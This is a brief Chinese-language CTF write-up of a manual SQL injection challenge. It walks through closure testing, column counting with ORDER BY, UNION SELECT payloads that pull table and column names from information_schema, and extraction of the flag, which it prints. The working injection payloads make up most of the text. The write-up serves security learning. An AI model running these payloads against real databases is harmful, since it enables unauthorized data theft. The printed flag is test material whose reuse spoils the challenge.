PTE解题思路集合 一道简单的sql手注题目,根据基本流程可以解题
第一步 测试闭合情况
发现存在单引号
1' and 1=1
无回显,存在–+ 或 %23 或 #
1' and 1=1 --+
无正常回显
1' and 1=1 #
有正常回显,可以确定闭合方式是单引号闭合,截断方式是 #
第二步 测试列数(二分法)
先猜测是10列
1' order by 10#
无回显,小于10,根据二分法选取5
依然无回显,小于5,测试 4,3,2,1
有回显,证明表格列数为4
第三步 确定回显位置(联合查询)
-1' union select 1,2,3,4#
第四步 库名、表名、列名、数据逐一查询
查询表名
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到回显,找到表名,存在flag表,查找该表中的列名
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flag'#
找到列名flag,进而查询列中数据
-1' union select 1,2,3,group_concat(flag) from flag#
得到flag,解题完毕 hazel{ea957c27-c198-4d7c-a4e6-7c8d18efa3a1}